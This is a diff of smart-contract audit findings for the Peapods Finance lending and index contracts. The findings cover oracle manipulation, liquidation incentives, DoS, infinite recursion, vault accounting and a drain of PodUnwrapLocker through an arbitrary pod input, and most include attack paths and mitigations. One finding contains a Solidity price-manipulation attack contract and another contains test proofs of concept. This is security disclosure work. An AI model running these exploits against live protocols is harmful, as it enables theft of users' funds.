+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol
+
+This may result in loss of user funds and leave the protocol insolvent.
+
+
+### PoC
+
+solidity
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.26;
+
+interface IERC20 {
+ function balanceOf(address account) external view returns (uint256);
+ function approve(address spender, uint256 amount) external returns (bool);
+ function transfer(address recipient, uint amount) external returns (bool);
+}
+
+interface CORE {
+ function deposit(uint256 _amount, address _receiver) external;
+ function borrowAsset(uint256 _borrowAmount, uint256 _collateralAmount, address _receiver) external;
+}
+
+interface ISushiSwapRouter {
+ function swapExactTokensForTokens(
+ uint amountIn,
+ uint amountOutMin,
+ address[] calldata path,
+ address to,
+ uint deadline
+ ) external returns (uint[] memory amounts);
+
+ function getAmountsOut(
+ uint amountIn,
+ address[] calldata path
+ ) external view returns (uint[] memory amounts);
+}
+
+contract SushiSwapExecutor {
+ address private constant PAIR_SWAP_ROUTER_ADDRESS = 0x0000000000000000000000000000000000000000; // Put the address
+ address public coreContractAddress = 0x0000000000000000000000000000000000000000; //Put the address
+ address public owner;
+
+ ISushiSwapRouter public sushiSwapRouter;
+
+ constructor() {
+ owner = msg.sender;
+ sushiSwapRouter = ISushiSwapRouter(PAIR_SWAP_ROUTER_ADDRESS);
+ }
+
+ modifier onlyOwner() {
+ require(msg.sender == owner, "Not contract owner");
+ _;
+ }
+
+ // Fetch token balance of any token for the owner of this contract
+ function getTokenBalance(address tokenAddress) public view returns (uint256) {
+ IERC20 token = IERC20(tokenAddress);
+ return token.balanceOf(address(this));
+ }
+
+ // Approve tokens for swapping on SushiSwap
+ function approveToken(address aquien, address tokenAddress, uint256 amount) public onlyOwner {
+ IERC20 token = IERC20(tokenAddress);
+ token.approve(aquien, amount);
+ }
+
+ function attack(address tokenA, address tokenB) public onlyOwner{
+ CORE core = CORE(coreContractAddress);
+
+ approveToken(coreContractAddress, tokenA, type(uint256).max);
+
+ uint256 total = IERC20(tokenA).balanceOf(address(this)) / 2;
+
+ core.deposit(total, address(this));
+
+ executeSwap(address(this), tokenA, tokenB);
+
+ core.borrowAsset(type(uint256).max, total, address(this));
+ }
+
+ // Execute swap on SushiSwap from USDT to WETH
+ function executeSwap(address aquien, address tokenAddress, address totoken) public onlyOwner {
+ IERC20 token = IERC20(tokenAddress);
+ // Approve SushiSwap to spend USDT
+ approveToken(aquien, tokenAddress, token.balanceOf(address(this)));
+
+ // Path for the swap: USDT -> WETH
+ address[] memory path = new address[](2);
+ path[0] = tokenAddress;
+ path[1] = totoken;
+
+ // Calculate amountOutMin (with 5% slippage)
+ uint[] memory amountsOut = sushiSwapRouter.getAmountsOut(token.balanceOf(address(this)), path);
+ uint amountOutMin = amountsOut[1] * 95 / 100; // 5% slippage
+
+ // Perform the swap
+ sushiSwapRouter.swapExactTokensForTokens(
+ token.balanceOf(address(this)),
+ amountOutMin,
+ path,
+ address(this),
+ block.timestamp + 1200 // 20-minute deadline
+ );
+ }
+
+ function withdrawETH() external onlyOwner {
+ uint256 contractBalance = address(this).balance;
+ payable(msg.sender).transfer(contractBalance);
+ }
+
+ // Withdraw tokens from the contract
+ function withdrawTokens(address tokenAddress) external onlyOwner {
+ IERC20(tokenAddress).transfer(msg.sender, IERC20(tokenAddress).balanceOf(address(this)));
+ }
+
+
+ receive() external payable {}
+
+ fallback() external payable {}
+}
+
+### Mitigation
+
+Use a wide range of maxOracleDelay and avoid using a Uniswap V3 V2 pair, etc. as a price oracle. Because in these cases it is very easy to manipulate prices by interacting with the pair.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol
+
diff --git a/024.md b/024.md
new file mode 100644
index 0000000..662d7cb
--- /dev/null
+++ b/024.md
@@ -0,0 +1,319 @@
+Lone Wintergreen Rattlesnake
+
+High
+
+# Liquidators can force bad debt through partial liquidations while full liquidations lack incentives
+
+### Summary
+
+In the liquidation mechanism, liquidators can intentionally perform partial liquidations to force bad debt accumulation and the protocol treats this as clean Liquidation Fee, while liquidators receive no clean liquidation fee benefits for full liquidations, creating misaligned incentives.
+
+
+### Root Cause
+
+In the liquidation logic, when processing full liquidations (100% shares), the protocol intends to give full liquidators [clean liquidation fee](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L1140-L1141) while this is not factored into the repayment amount calculation, causing liquidators to pay more without receiving the intended fee benefit or rather force liquidators to perform partial liquidation that will force the protocol to have bad debt, this bad debt occur not because there is insufficient collateral coverage.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+ 1. Liquidator identifies a liquidatable position
+ 2. Instead of full liquidation, liquidator performs partial liquidation taking only profitable portions
+ 3. Remaining position becomes bad debt as it's too small to be profitable to liquidate
+
+### Impact
+
+ The protocol faces multiple negative impacts:
+ 1. Accumulation of bad debt by encouraging partial liquidations
+ 2. Liquidators are disincentivized from performing full liquidations
+ 3. Protocol solvency is threatened by growing bad debt positions
+ 4. Higher costs for liquidators performing full liquidations
+
+### PoC
+
+
+Click to view the full test code
+
+```solidity
+
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.19;
+
+// forge
+import {Test, console} from "forge-std/Test.sol";
+
+// fraxlend
+import {FraxlendPairDeployer, ConstructorParams} from "../src/contracts/FraxlendPairDeployer.sol";
+import {FraxlendWhitelist} from "../src/contracts/FraxlendWhitelist.sol";
+import {FraxlendPairRegistry} from "../src/contracts/FraxlendPairRegistry.sol";
+import {FraxlendPair} from "../src/contracts/FraxlendPair.sol";
+import {VariableInterestRate} from "../src/contracts/VariableInterestRate.sol";
+import {IERC4626Extended} from "../src/contracts/interfaces/IERC4626Extended.sol";
+import {ChainlinkSinglePriceOracle} from "../src/contracts/ChainlinkSinglePriceOracle.sol";
+import "../src/contracts/mocks/LendingAssetVault.sol";
+
+// mocks
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {MockERC20} from "../src/contracts/mocks/MockERC20.sol";
+
+contract Fraxlend is Test {
+ /*///////////////////////////////////////////////////////////////
+ GLOBAL VARIABLES
+ ///////////////////////////////////////////////////////////////*/
+
+ // external actors
+ address internal user0 = vm.addr(uint256(keccak256("User0")));
+ address internal user1 = vm.addr(uint256(keccak256("User1")));
+ address internal user2 = vm.addr(uint256(keccak256("User2")));
+
+ address[] internal users = [user0, user1, user2];
+ uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
+
+ // fraxlend protocol actors
+ address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
+ address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
+ address internal timelock = vm.addr(uint256(keccak256("comptroller")));
+
+ uint16 internal fee = 100;
+ uint256 internal PRECISION = 10 ** 27;
+
+ /*///////////////////////////////////////////////////////////////
+ TEST CONTRACTS
+ ///////////////////////////////////////////////////////////////*/
+
+ // fraxlend
+ FraxlendPairDeployer internal _fraxDeployer;
+ FraxlendWhitelist internal _fraxWhitelist;
+ FraxlendPairRegistry internal _fraxRegistry;
+ VariableInterestRate internal _variableInterestRate;
+
+ FraxlendPair internal _fraxLPToken1Peas;
+
+ MockERC20 internal _mockDai;
+ MockERC20 internal _collateral;
+ MockERC20 internal _tokenB;
+ MockERC20 internal _tokenC;
+ ChainlinkSinglePriceOracle internal _clOracle;
+ LendingAssetVault internal _lendingAssetVault;
+
+ event Message(string message);
+
+ /*///////////////////////////////////////////////////////////////
+ SETUP FUNCTIONS
+ ///////////////////////////////////////////////////////////////*/
+
+ function setUp() public {
+ // deploy mock tokens
+ _mockDai = new MockERC20("MockDai", "MDAI");
+ _collateral = new MockERC20("Collateral", "COL");
+ _tokenB = new MockERC20("TokenB", "TKB");
+ _tokenC = new MockERC20("TokenC", "TKC");
+
+ _mockDai.mint(address(this), 1000000 ether);
+ _collateral.mint(address(this), 1000000 ether);
+ _tokenB.mint(address(this), 1000000e6);
+ _tokenC.mint(address(this), 1000000 ether);
+
+ _deployVariableInterestRate();
+ _deployFraxWhitelist();
+ _deployFraxPairRegistry();
+ _deployFraxPairDeployer();
+ _deployFraxPairs();
+ _setupActors();
+
+ _deployLendingVault();
+
+
+ vm.startPrank(address(2));
+ _fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
+ vm.stopPrank();
+
+ }
+
+ function _deployVariableInterestRate() internal {
+ // These values taken from existing Fraxlend Variable Rate Contract
+ _variableInterestRate = new VariableInterestRate(
+ "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
+ 87500,
+ 200000000000000000,
+ 75000,
+ 85000,
+ 158247046,
+ 1582470460,
+ 3164940920000,
+ 172800
+ );
+ }
+
+ function _deployFraxWhitelist() internal {
+ _fraxWhitelist = new FraxlendWhitelist();
+ }
+
+ function _deployFraxPairRegistry() internal {
+ address[] memory _initialDeployers = new address[](0);
+ _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
+ }
+
+ function _deployFraxPairDeployer() internal {
+ ConstructorParams memory _params =
+ ConstructorParams(address(this), address(1), address(2), address(_fraxWhitelist), address(_fraxRegistry));
+ _fraxDeployer = new FraxlendPairDeployer(_params);
+
+ _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
+
+ address[] memory _whitelistDeployer = new address[](1);
+ _whitelistDeployer[0] = address(this);
+
+ _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
+
+ address[] memory _registryDeployer = new address[](1);
+ _registryDeployer[0] = address(_fraxDeployer);
+
+ _fraxRegistry.setDeployers(_registryDeployer, true);
+ emit Message("1");
+ }
+
+ function _deployFraxPairs() internal {
+ // moving time to help out the twap
+ vm.warp(block.timestamp + 1 days);
+
+ _clOracle = new ChainlinkSinglePriceOracle(address(0));
+
+ emit Message("1aa");
+
+ _fraxLPToken1Peas = FraxlendPair(
+ _fraxDeployer.deploy(
+ abi.encode(
+ address(_mockDai), // asset
+ address(_collateral), // collateral
+ address(_clOracle), //oracle
+ 5000, // 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv
+ 10000, // uint256 _cleanLiquidationFee
+ // 9000, // uint256 _dirtyLiquidationFee
+ 0 //uint256 _protocolLiquidationFee
+ )
+ )
+ );
+
+ emit Message("1b");
+
+ // deposit some asset
+ IERC20(address(_mockDai)).approve(address(_fraxLPToken1Peas), type(uint256).max);
+ _fraxLPToken1Peas.deposit(100_000 ether, address(this));
+ }
+
+ function _deployLendingVault() internal {
+ _lendingAssetVault = new LendingAssetVault("LDA", "FLDA", address(_mockDai));
+
+ _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);
+ address[] memory _vaults = new address[](1);
+ _vaults[0] = address(_fraxLPToken1Peas);
+ uint256[] memory _maxAllocations = new uint256[](1);
+ _maxAllocations[0] = 100_000 ether;
+ _lendingAssetVault.setVaultMaxAllocation(_vaults, _maxAllocations);
+
+
+ vm.startPrank(users[0]);
+ IERC20(address(_mockDai)).approve(address(_lendingAssetVault), type(uint256).max);
+ _lendingAssetVault.deposit(1_000_000 ether, users[0]);
+
+ vm.startPrank(users[1]);
+ IERC20(address(_mockDai)).approve(address(_lendingAssetVault), type(uint256).max);
+ _lendingAssetVault.deposit(1_000_000 ether, users[0]);
+ }
+
+ /*////////////////////////////////////////////////////////////////
+ HELPERS
+ ////////////////////////////////////////////////////////////////*/
+
+ function _setupActors() internal {
+ for (uint256 i; i < users.length; i++) {
+ vm.deal(users[i], 1000000 ether);
+ vm.startPrank(users[i]);
+ // _weth.deposit{value: 1000000 ether}();
+
+ _collateral.mint(users[i], 100_000 ether);
+ _tokenB.mint(users[i], 1000000e6);
+ _tokenC.mint(users[i], 1000000 ether);
+ _mockDai.mint(users[i], 1000000 ether);
+ IERC20(address(_collateral)).approve(address(_fraxLPToken1Peas), type(uint256).max);
+ }
+ }
+}
+```
+
+
+```solidity
+function testFullLiquidationWithoutCleanLiquidationFeeRemoval() public {
+ _clOracle.setMinAndMaxPrices(198e18, 200e18);
+ vm.startPrank(users[1]);
+ _fraxLPToken1Peas.borrowAsset(370 ether, 100_000 ether, users[1]);
+ assertEq(_collateral.balanceOf(address(_fraxLPToken1Peas)), 100_000 ether);
+ assertEq(_collateral.balanceOf(users[1]), 0);
+
+ vm.warp(block.timestamp + 1);
+ uint256 _amountLiquidatorToRepay = 370000000058774236930;
+
+ _clOracle.setMinAndMaxPrices(260e18, 262e18);
+
+ // Try to preview withdraw more than available
+ uint256 sharesToLiquidate = _fraxLPToken1Peas.userBorrowShares(users[1]);
+ assertEq(sharesToLiquidate, 370 ether);
+
+ assertEq(_collateral.balanceOf(users[2]), 100_000 ether);
+ assertEq(_mockDai.balanceOf(users[2]), 1_000_000 ether);
+ vm.startPrank(users[2]);
+ IERC20(address(_mockDai)).approve(address(_fraxLPToken1Peas), type(uint256).max);
+
+ _fraxLPToken1Peas.liquidate(uint128(sharesToLiquidate), block.timestamp + 10, users[1]);
+ assertEq(_collateral.balanceOf(users[2]), 200_000 ether);
+
+ assertEq(_mockDai.balanceOf(users[2]), 1_000_000 ether - _amountLiquidatorToRepay);
+ sharesToLiquidate = _fraxLPToken1Peas.userBorrowShares(users[1]);
+ assertEq(sharesToLiquidate, 0);
+ }
+
+ function testPartialLiquidationWithCleanLiquidationFeeRemoval() public {
+ _clOracle.setMinAndMaxPrices(198e18, 200e18);
+ vm.startPrank(users[1]);
+ _fraxLPToken1Peas.borrowAsset(370 ether, 100_000 ether, users[1]);
+ assertEq(_collateral.balanceOf(address(_fraxLPToken1Peas)), 100_000 ether);
+ assertEq(_collateral.balanceOf(users[1]), 0);
+
+ vm.warp(block.timestamp + 1);
+ uint256 _amountLiquidatorToRepay = 350000000055597251150;
+
+ _clOracle.setMinAndMaxPrices(260e18, 262e18);
+
+ // Try to preview withdraw more than available
+ uint256 sharesToLiquidate = _fraxLPToken1Peas.userBorrowShares(users[1]);
+ assertEq(sharesToLiquidate, 370 ether);
+
+ assertEq(_collateral.balanceOf(users[2]), 100_000 ether);
+ assertEq(_mockDai.balanceOf(users[2]), 1_000_000 ether);
+ vm.startPrank(users[2]);
+ IERC20(address(_mockDai)).approve(address(_fraxLPToken1Peas), type(uint256).max);
+
+ _fraxLPToken1Peas.liquidate(350 ether, block.timestamp + 10, users[1]);
+ assertEq(_collateral.balanceOf(users[2]), 200_000 ether);
+
+ assertEq(_mockDai.balanceOf(users[2]), 1_000_000 ether - _amountLiquidatorToRepay);
+ sharesToLiquidate = _fraxLPToken1Peas.userBorrowShares(users[1]);
+ assertEq(sharesToLiquidate, 0);
+ }
+```
+
+
+
+### Mitigation
+
+If it is a full liquidation, apply the clean liquidation fee benefit before calculating the repayment amount
\ No newline at end of file
diff --git a/032.md b/032.md
new file mode 100644
index 0000000..4d439e7
--- /dev/null
+++ b/032.md
@@ -0,0 +1,54 @@
+Fast Khaki Raccoon
+
+Medium
+
+# DoS of operations in `AutoCompoundingPodLp` due to not considering the deposit limit
+
+### Summary
+
+DoS of operations in `AutoCompoundingPodLp` due to not considering the deposit limit
+
+### Root Cause
+
+Upon operations such as depositing and withdrawing in `AutoCompoundingPodLp`, we have the following code:
+```solidity
+if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+```
+Which calls this:
+```solidity
+function _depositIntoLendingPair(address _lendingPair, address _pairAsset, uint256 _depositAmt) internal returns (uint256 _shares) {
+ IERC20(_pairAsset).safeIncreaseAllowance(address(_lendingPair), _depositAmt);
+ _shares = IFraxlendPair(_lendingPair).deposit(_depositAmt, address(this));
+ }
+```
+However, the code fails to consider the deposit limit in `FraxlendPair`:
+```solidity
+if (depositLimit < _totalAsset.totalAmount(address(0)) + _amount) revert ExceedsDepositLimit();
+```
+As the function is called upon all important operations, this will cause a DoS of depositing and withdrawing if the deposit limit is reached and if `IS_PAIRED_LENDING_PAIR` is true.
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Rewards are processed for `AutoCompoundingPodLp` and `IS_LENDING_PAIR` is true
+2. Upon depositing, we revert as the deposit limit has been reached
+3. Users who try to withdraw will be DoSed for an indefinite amount of time
+### Impact
+
+DoS of functionalities such as deposits and withdraws
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Check for the deposit limit and if it has been reached, do not deposit
\ No newline at end of file
diff --git a/033.md b/033.md
new file mode 100644
index 0000000..68b2b2d
--- /dev/null
+++ b/033.md
@@ -0,0 +1,57 @@
+Fast Khaki Raccoon
+
+High
+
+# Handling tokens in the contract upon adding liquidity results in breaking the optimal one-sided supply amounts
+
+### Summary
+
+Handling tokens in the contract upon adding liquidity results in breaking the optimal one-sided supply amounts
+
+### Root Cause
+
+Upon processing rewards, part of the whole flow is the following:
+1. Convert a part of the paired LP token to a pod token
+2. Supply them as liquidity
+
+In order to convert an amount of paired LP tokens such that it is optimal (we can not simply convert half as this is not optimal at all), the following function is used based on this [article](https://blog.alphaventuredao.io/onesideduniswap/):
+```solidity
+function _getSwapAmt(address _t0, address _t1, address _swapT, uint256 _fullAmt) internal view returns (uint256) {
+ (uint112 _r0, uint112 _r1) = DEX_ADAPTER.getReserves(DEX_ADAPTER.getV2Pool(_t0, _t1));
+ uint112 _r = _swapT == _t0 ? _r0 : _r1;
+ return (_sqrt(_r * (_fullAmt * 3988000 + _r * 3988009)) - (_r * 1997)) / 1994;
+ }
+```
+The issue is that after the swap, we have the following code:
+```solidity
+_podAmountOut = pod.balanceOf(address(this));
+_pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+...
+try indexUtils.addLPAndStake(pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline) returns (uint256 _lpTknOut) {
+ ...
+}
+```
+We get the whole balance to handle any tokens that are left in the contract from previous runs (this is expected and extremely likely, the code handles it for a reason, we are working with AMMs after all). The issue is that this clearly breaks the previously calculated optimal supply, causing a non-optimal LP and thus, a loss of funds.
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The optimal amounts are calculated
+2. Instead of swapping and using them, we get the tokens that are currently in the contract as well resulting in a non-optimal supply
+### Impact
+
+Loss of funds due to a non-optimal liquidity supply
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Handle the tokens in the contract before the optimal supply calculation
\ No newline at end of file
diff --git a/034.md b/034.md
new file mode 100644
index 0000000..efddf67
--- /dev/null
+++ b/034.md
@@ -0,0 +1,77 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `DecentralizedIndex::_update()` runs in an infinite loop in some cases
+
+### Summary
+
+`DecentralizedIndex::_update()` runs in an infinite loop in some cases
+
+### Root Cause
+
+`DecentralizedIndex::_update()` handles the ERC20 update to handle fees. The issue is that in some cases, it will run an infinite recursion. Let's imagine the simplest scenario:
+```solidity
+function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+Tokens are sent from `address(bob)` to `address(alice)`. `_buy` and `_sell` will both be false, we are not swapping and swap and fee are on, we will go in the third block (assuming transfer tax is on). We will get 0.01% of the amount, give it to `address(this)`, then we go out of the block and process the burn fee:
+```solidity
+function _processBurnFee(uint256 _amtToProcess) internal {
+ if (_amtToProcess == 0 || _fees.burn == 0) {
+ return;
+ }
+ uint256 _burnAmt = (_amtToProcess * _fees.burn) / DEN;
+ _totalSupply -= _burnAmt;
+ _burn(address(this), _burnAmt);
+ }
+```
+There, we call `_burn()` again which calls `_update()` once again where `_from` and `_to` are `address(this)` and `address(0)` respectively which will bring us in the same third block, process a fee again and process the burn fees again. As seen, this will keep running in an infinite loop, eventually running out of gas.
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User flash mints when the transfer tax is on
+2. We have the following line there:
+```solidity
+_burn(_msgSender(), _fee == 0 ? 1 : _fee);
+```
+3. This will run infinitely
+### Impact
+
+Some functionalities don't work properly, especially when the transfer tax is on
+### PoC
+
+_No response_
+
+### Mitigation
+
+Refactor the `_update()` function
\ No newline at end of file
diff --git a/035.md b/035.md
new file mode 100644
index 0000000..2751c4e
--- /dev/null
+++ b/035.md
@@ -0,0 +1,53 @@
+Fast Khaki Raccoon
+
+High
+
+# `LendingAssetVault::_updateAssetMetadataFromVault()` results in incorrect calculations
+
+### Summary
+
+`LendingAssetVault::_updateAssetMetadataFromVault()` results in incorrect calculations
+
+### Root Cause
+
+Upon calling the function mentioned in the summary section, we have the following code:
+```solidity
+uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+```
+The code above is incorrect as it should not have different ways of calculating percentages based on which value is bigger.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+No attack path needed, calculations and accounting is completely incorrect when CBR decreases
+
+### Impact
+
+Incorrect calculations which result in completely wrong accounting when the CBR has decreased
+
+### PoC
+
+The most basic way to explain the issue is based on the fact that the 2 calculations answer different questions:
+- the first one - "What % should the current CBR increase to reach the previous one?"
+- the second one - What % did the previous CBR increase from the previous to the current CBR?"
+
+Secondly, let's plug in some numbers:
+- the CBR has increased twice, `(1e18 * 200 / 100) - 1e18 = 1e18`, thus the utilized assets will double
+- the CBR has decreased by 50%, `(1e18 * 200 / 100) - 1e18 = 1e18`, thus the utilized assets will go to 0
+
+Clearly, the second calculation is incorrect, the CBR only decreased by 50% but the utilized assets go to 0.
+
+Thirdly, if we imagine that the CBR went up from 100 to 150, the calculation would be `(1e18 * 150 / 100) - 1e18 = 5e17`. If it instead increases this way: `100 -> 110 -> 120 -> 130 -> 140 -> 150`, then the calculations would not change (will not plug in numbers here as the report will get very long, you can either trust me or calculate it on your own) and the end result for the utilized assets would be the same. However, if we do a similar thing for a decreasing CBR: `150 -> 140 -> 130 -> 120 -> 110 -> 100`, this does not lead to the same calculation as if the CBR simply dropped by 50% in one go which should not be the case - the end CBR is the same in both cases so the utilized assets should also be the same.
+
+### Mitigation
+
+Refactor the formula
\ No newline at end of file
diff --git a/036.md b/036.md
new file mode 100644
index 0000000..8291c88
--- /dev/null
+++ b/036.md
@@ -0,0 +1,61 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Out-of-sync check results in an over-utilised vault despite the guards against it
+
+### Summary
+
+Out-of-sync check results in an overutilized vault despite the guards against it
+
+### Root Cause
+
+Upon depositing to a vault using `LendingAssetVault::depositToVault()`, we have the following code:
+```solidity
+function depositToVault(address _vault, uint256 _amountAssets) external onlyOwner {
+ ...
+ uint256 _amountShares = IERC4626(_vault).deposit(_amountAssets, address(this));
+ ...
+ vaultDeposits[_vault] += _amountAssets;
+ vaultUtilization[_vault] += _amountAssets;
+ _totalAssetsUtilized += _amountAssets;
+ ...
+ }
+```
+Upon depositing in the underlying vault, we have the following check:
+```solidity
+uint256 _assetsUtilized = externalAssetVault.vaultUtilization(address(this));
+bool _vaultOverUtilized = (1e18 * externalAssetVault.totalAssetsUtilized()) / externalAssetVault.totalAssets() > (1e18 * 8) / 10;
+bool _pairOverAllocation = _assetsUtilized > externalAssetVault.vaultMaxAllocation(address(this));
+if (_vaultOverUtilized || _pairOverAllocation) {
+ uint256 _extAmount = _assetsUtilized > _amount ? _amount : _assetsUtilized;
+ _withdrawToVault(_extAmount);
+}
+```
+It checks the utilisation and off-boards an according amount if we are over-utilised. The issue is that the utilisation increases only happen after the deposit, thus we will be over-utilised despite the guards.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. We deposit into a vault, we are currently at the maximum utilisation before off-boarding is required
+2. We do not off-board as it is not required yet
+3. As the increases are after the check, we are now over-utilised
+
+### Impact
+
+Vault over-utilisation
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Refactor the code to not allow the mentioned issue in the report
\ No newline at end of file
diff --git a/037.md b/037.md
new file mode 100644
index 0000000..74fa712
--- /dev/null
+++ b/037.md
@@ -0,0 +1,62 @@
+Fast Khaki Raccoon
+
+High
+
+# `PodUnwrapLocker` can be drained due to an arbitrary input
+
+### Summary
+
+`PodUnwrapLocker` can be drained due to an arbitrary input
+
+### Root Cause
+
+`PodUnwrapLocker` provides a functionality to debond your pod tokens without paying a fee by locking them for a period of time. The issue is that the function allows an arbitrary pod input which allows for a complete drain of the contract:
+```solidity
+function debondAndLock(address _pod, uint256 _amount) external nonReentrant {
+ // NO CHECK FOR THE POD HERE
+}
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. A malicious contract is provided as the pod upon calling `debondAndLock()`
+2. In the line below, pod returns an array of 2 addresses which are both the same token, token `X` (token to be drained, deposited by other users who are using the contract functionality):
+```solidity
+IDecentralizedIndex.IndexAssetInfo[] memory _podTokens = _podContract.getAllAssets();
+```
+3. In the line below, we store the token `X` balances in both of the array fields, let's say 100 tokens:
+```solidity
+for (uint256 i = 0; i < _tokens.length; i++) {
+ _tokens[i] = _podTokens[i].token;
+ _balancesBefore[i] = IERC20(_tokens[i]).balanceOf(address(this));
+ }
+```
+4. We then call `debond()` on our contract which transfers in 100 tokens of `X`
+5. In the line below, we fill the received amounts array with 100 tokens twice:
+```solidity
+for (uint256 i = 0; i < _tokens.length; i++) {
+ _receivedAmounts[i] = IERC20(_tokens[i]).balanceOf(address(this)) - _balancesBefore[i];
+ }
+```
+6. We return our own config with a 0 duration to immediately withdraw and store our received amounts in the locks mapping
+7. We go over our token `X` twice with 100 amount in both fields, receiving 200 tokens even though we put in 100
+
+### Impact
+
+Theft of funds
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not allow arbitrary pods
\ No newline at end of file
diff --git a/038.md b/038.md
new file mode 100644
index 0000000..3cdab1a
--- /dev/null
+++ b/038.md
@@ -0,0 +1,63 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Incorrect application of fees results in admin receiving more than supposed to
+
+### Summary
+
+Incorrect application of fees results in admin receiving more than supposed to
+
+### Root Cause
+
+Upon calling `TokenRewards::depositFromPairedLpToken()`, we have the following code:
+```solidity
+uint256 _adminAmt = _getAdminFeeFromAmount(_amountTkn);
+ _amountTkn -= _adminAmt;
+
+ if (LEAVE_AS_PAIRED_LP_TOKEN) {
+ (, uint256 _yieldBurnFee) = _getYieldFees();
+ uint256 _burnAmount = (_amountTkn * _yieldBurnFee) / PROTOCOL_FEE_ROUTER.protocolFees().DEN();
+ _adminAmt += _burnAmount;
+ _amountTkn -= _burnAmount;
+ if (_adminAmt > 0) {
+ _processAdminFee(_adminAmt);
+ }
+ _depositRewards(PAIRED_LP_TOKEN, _amountTkn);
+ return;
+ }
+```
+The function applies an admin fee to the token amount and then if `LEAVE_AS_PAIRED_LP_TOKEN` is true, we apply a burn fee as well. The issue is that the burn amount is applied to the admin amount and is then simply transferred to him:
+```solidity
+ function _processAdminFee(uint256 _amount) internal {
+ IERC20(PAIRED_LP_TOKEN).safeTransfer(OwnableUpgradeable(address(V3_TWAP_UTILS)).owner(), _amount);
+ }
+```
+This results in the admin receiving more than supposed to.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. `TokenRewards::depositFromPairedLpToken()` is called and `LEAVE_AS_PAIRED_LP_TOKEN` is true
+2. We apply a 10% admin fee to 100 tokens, resulting in 90 tokens leftover and admin amount being 10
+3. We then apply a 10% burn fee to the 90 tokens, resulting in 81 tokens leftover and admin amount going to 19
+4. Admin unfairly receives 19 tokens
+
+### Impact
+
+Unfair distribution of the amount, users receive less rewards and admin receives more
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not give a burn fee to the admin
\ No newline at end of file
diff --git a/039.md b/039.md
new file mode 100644
index 0000000..ff822ac
--- /dev/null
+++ b/039.md
@@ -0,0 +1,45 @@
+Fast Khaki Raccoon
+
+High
+
+# No decimal normalisation upon calling `TokenRewards::depositFromPairedLpToken()`
+
+### Summary
+
+No decimal normalisation upon calling `TokenRewards::depositFromPairedLpToken()`
+
+### Root Cause
+
+Upon calling `TokenRewards::depositFromPairedLpToken()`, we have the following code:
+```solidity
+uint256 _amountOut = _token0 == PAIRED_LP_TOKEN ? (_rewardsPriceX96 * _amountTkn) / FixedPoint96.Q96 : (_amountTkn * FixedPoint96.Q96) / _rewardsPriceX96;
+```
